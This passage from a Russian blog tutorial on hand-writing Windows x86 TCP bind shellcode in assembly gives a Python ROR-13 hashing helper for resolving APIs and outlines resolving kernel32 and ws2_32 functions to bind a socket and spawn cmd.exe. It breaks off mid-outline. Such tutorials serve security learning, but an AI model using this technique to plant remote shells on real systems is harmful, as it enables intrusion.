{"id":311860,"date":"2020-10-22T09:00:50","date_gmt":"2020-10-22T09:00:50","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=311860"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=311860","title":{"rendered":"\u041f\u0438\u0448\u0435\u043c \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043f\u043e\u0434 Windows \u043d\u0430 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0435"},"content":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/tm\/5q\/xt\/tm5qxteuko3hhv-1ctkgutigvj4.jpeg\" alt=\"image\"><\/p>\n<p>  \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u043d\u0430 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0435 \u0432 \u041e\u0421 Windows 7 x86. \u041d\u0435 \u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0441\u043e\u043b\u0438\u0434\u043d\u044b\u0439 \u0432\u043e\u0437\u0440\u0430\u0441\u0442 \u0434\u0430\u043d\u043d\u043e\u0439 \u0442\u0435\u043c\u044b, \u043e\u043d\u0430 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0438 \u043f\u043e \u0441\u0435\u0439 \u0434\u0435\u043d\u044c: \u044d\u0442\u043e \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0430\u044f \u0442\u043e\u0447\u043a\u0430 \u0432 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u0441\u0432\u043e\u0438\u0445 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u043e\u0432, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0439 \u0431\u0443\u0444\u0435\u0440\u043e\u0432, \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u043e\u0432 \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u0445 \u043e\u0442 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u0432, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b (PE Backdooring). \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u044f \u0432\u044b\u0431\u0440\u0430\u043b TCP bind shellcode, \u0442.\u043a. \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u2014 \u044d\u0442\u043e \u043b\u0443\u0447\u0448\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u044b \u0438\u043c\u0435\u044e\u0442 \u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0449\u0435\u0433\u043e \u0441 \u043d\u0438\u043c. \u0421\u0442\u0430\u0442\u044c\u044f \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u0430 \u0434\u043b\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u043e\u0432, \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0445 \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043e\u0432 \u0438 \u0432\u0441\u0435\u043c, \u043a\u0442\u043e \u0436\u0435\u043b\u0430\u0435\u0442 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u0431\u0430\u0437\u043e\u0432\u044b\u0445 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0430\u0445 \u0440\u0430\u0431\u043e\u0442\u044b \u041e\u0421 Windows. \u041f\u043b\u044e\u0441\u043e\u043c \u2014 \u0443\u043b\u0443\u0447\u0448\u0430\u044e\u0442\u0441\u044f \u043d\u0430\u0432\u044b\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.<a name=\"habracut\"><\/a> \u041d\u0430\u0447\u043d\u0451\u043c, \u043a\u0430\u043a \u0438 \u0432\u0441\u0435\u0433\u0434\u0430, \u0441 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438.<\/p>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430<\/h3>\n<p>  \u0414\u043b\u044f \u0445\u043e\u0440\u043e\u0448\u0435\u0433\u043e \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0441\u0442\u0430\u0442\u044c\u0438 \u0432\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f:<\/p>\n<ul>\n<li>\u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u0437\u043d\u0430\u043d\u0438\u044f \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0430. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u043a\u043e\u0434 \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043d\u0430 NASM Intel x86;<\/li>\n<li>\u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u0437\u043d\u0430\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u041e\u0421 Windows \u0438\u043b\u0438 \u0445\u043e\u0442\u044f \u0431\u044b Linux.<\/li>\n<\/ul>\n<p>  \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u0435\u0441\u044c \u043a\u043e\u0434 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u043d\u0430 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0440\u044f\u0434 \u043f\u0440\u0430\u0432\u0438\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043f\u0440\u0438\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430:<\/p>\n<ul>\n<li>\u043a\u0430\u0436\u0434\u0430\u044f \u043f\u043e\u0434\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 (\u0444\u0443\u043d\u043a\u0446\u0438\u044f) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0432\u043e\u0439 \u0441\u0442\u0435\u043a\u043e\u0432\u044b\u0439 \u0444\u0440\u0435\u0439\u043c;<\/li>\n<li>\u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u043e\u043c\u0435\u0449\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u044d\u043a \u043f\u0435\u0440\u0435\u0434 \u0430\u0434\u0440\u0435\u0441\u043e\u043c \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0438\u0437 \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438;<\/li>\n<li>\u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438;<\/li>\n<li>\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0435 EAX. \u0422\u0430\u043a\u0436\u0435 \u0434\u0435\u043b\u0430\u044e\u0442 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 Windows.<\/li>\n<\/ul>\n<p>  \u042d\u0442\u043e \u043e\u0431\u0449\u0435\u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0435 \u0438 \u043f\u043e \u0441\u0432\u043e\u0435\u043c\u0443 \u043e\u043f\u044b\u0442\u0443 \u0434\u043e\u0431\u0430\u0432\u043b\u044e \u2014 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0438\u043c \u043a\u043e\u0434 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u0435\u0435. \u041e\u0434\u043d\u0430\u043a\u043e \u0438\u043c\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u043d\u0435\u0431\u0440\u0435\u0433\u0430\u0442\u044c \u0432 \u0441\u043b\u0443\u0447\u0430\u044f\u0445, \u043a\u043e\u0433\u0434\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u0430\u043b\u043e \u043c\u0435\u0441\u0442\u0430 \u0434\u043b\u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430.<\/p>\n<h4>\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b<\/h4>\n<p>  <\/p>\n<ul>\n<li> Windows 7 x86. \u042f \u0435\u0451 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0433\u043e\u0441\u0442\u0435\u0432\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u041e\u0421;<\/li>\n<li> \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a. \u041c\u043d\u0435 \u043d\u0440\u0430\u0432\u044f\u0442\u0441\u044f ollydbg \u0438 immunity debugger;<\/li>\n<li> winrepl \u2014 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438. \u041e\u0447\u0435\u043d\u044c \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442, \u0447\u0442\u043e\u0431\u044b \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043c\u0430\u043b\u044b\u0435 \u0443\u0447\u0430\u0441\u0442\u043a\u0438 \u043a\u043e\u0434\u0430;<\/li>\n<li> PEview \u2014 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a. \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u0430 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a: kernel32.dll ws2_32.dll. \u0412\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043d\u0435\u0439 \u044f \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u043e\u0434\u043d\u0438\u043c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u043c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u043c \u2014 \u0441\u0442\u0430\u0440\u0448\u0438\u0435 \u0431\u0430\u0439\u0442\u044b \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u043e\u0442 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u044d\u0442\u0438\u0445 \u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0432 \u0445\u043e\u0434\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0432 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0435;<\/li>\n<li> \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u044b nasm \u0438 gcc \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0430;<\/li>\n<li> \u041b\u044e\u0431\u043e\u0439 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432 Linux. \u042f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b Ubuntu 20.04 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0445\u043e\u0441\u0442\u043e\u0432\u043e\u0439 \u041e\u0421. \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0442\u0438\u043b\u0438\u0442: objdump, grep \u0438 \u0442.\u0434.<\/li>\n<\/ul>\n<p>  python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u043c\u0435\u043d\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u0445\u044d\u0448. \u0425\u044d\u0448 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430 \u043f\u043e\u0438\u0441\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d \u0434\u0430\u043b\u0435\u0435.<\/p>\n<p>  <i>string2hash.py<\/i>  <\/p>\n<pre><code class=\"python\">#!\/usr\/bin\/python # -*- coding: utf-8 -*- # string2hash.py  import sys  def ROR(data, shift, size=32):     shift %= size     body = data &gt;&gt; shift     remains = (data &lt;&lt; (size - shift)) - (body &lt;&lt; size)     return (body + remains)  if len(sys.argv) != 2:     print(&quot;Enter  argument: string&quot;)     sys.exit(0)  word = sys.argv[1] result = 0  for i in word:     result = ROR(result, 13)     result += ord(i)  print(hex(result))<\/code><\/pre>\n<p>  \u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u044f \u0431\u0443\u0434\u0443 \u043a\u0440\u0430\u0442\u043a\u043e \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \u0414\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0433\u043e \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u0435\u0442\u0435 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438 \u043d\u0430 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0434\u0430\u043d\u044b \u043a \u043a\u0430\u0436\u0434\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.<\/p>\n<h4>\u041e\u0431\u0449\u0438\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430<\/h4>\n<p>  \u041f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435\u043c \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u043e\u0432 \u0432 Linux, \u0433\u0434\u0435 \u043d\u0443\u0436\u043d\u044b\u0435 \u043d\u0430\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b \u0438\u043c\u0435\u044e\u0442 \u0441\u0432\u043e\u0438 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043d\u043e\u043c\u0435\u0440\u0430, \u0432 Windows \u0434\u0435\u043b\u0430 \u043e\u0431\u0441\u0442\u043e\u044f\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u043b\u043e\u0436\u043d\u0435\u0435. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0437\u043d\u0430\u0442\u044c \u0435\u0451 \u0442\u043e\u0447\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0430 \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u0441\u0435 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u041e\u0421 \u0438\u043c\u0435\u044e\u0442 Address Space Layout Randomization (ASLR), \u0442\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u0430 \u043d\u0443\u0436\u043d\u044b\u0445 \u043d\u0430\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u043a \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u0430\u043c. \u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u043e\u043c\u0435\u0449\u0430\u044e\u0442\u0441\u044f \u043d\u0435 \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430, \u0430 \u0432 \u0441\u0442\u044d\u043a. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0432\u044b\u0448\u0435\u0441\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0435, \u043e\u0431\u0449\u0438\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0442\u0430\u043a\u0438\u043c:<\/p>\n<ol>\n<li> \u041d\u0430\u0439\u0442\u0438 \u0430\u0434\u0440\u0435\u0441 kernel32.dll. \u0412 \u044d\u0442\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430\u0448\u0435\u0433\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430;<\/li>\n<li> \u041d\u0430\u0439\u0442\u0438 \u0430\u0434\u0440\u0435\u0441\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 kernel32.dll: CreateProcessA, LoadLibraryA, ExitProcess, GetProcAddress;<\/li>\n<li> \u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 ws2_32.dll \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 LoadLibraryA. \u042d\u0442\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u044d\u0442\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0441\u043e\u043a\u0435\u0442\u0430\u043c\u0438 \u0442\u0430\u043a\u0438\u043c\u0438 \u043a\u0430\u043a: WSASocketA, bind, listen \u0438 \u0442.\u0434.;<\/li>\n<li> \u041d\u0430\u0439\u0442\u0438 \u0430\u0434\u0440\u0435\u0441\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 ws2_32.dll: WSAStartup, WSASocketA, bind, listen, accept;<\/li>\n<li> \u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u0441\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u044b, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u0442\u044c \u043a \u0438\u0445 \u0432\u044b\u0437\u043e\u0432\u0430\u043c:\n<p>   \u2014 \u0418\u043d\u0438\u0446\u0438\u0430\u0446\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0448\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Winsock DLL: WSAStartup;<br \/>   \u2014 \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u043a\u0435\u0442\u0430: WSASocket;<br \/>   \u2014 \u041f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u0435\u0433\u043e \u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443: bind;<br \/>   \u2014 \u041f\u0435\u0440\u0435\u0432\u043e\u0434 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u043e\u043a\u0435\u0442\u0430 \u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 listening;<br \/>   \u2014 \u041f\u0440\u0438\u0451\u043c \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f: accept;<br \/>   \u2014 \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 cmd.exe \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u041e\u0421 \u043f\u043e \u0441\u0435\u0442\u0438;<br \/>   \u2014 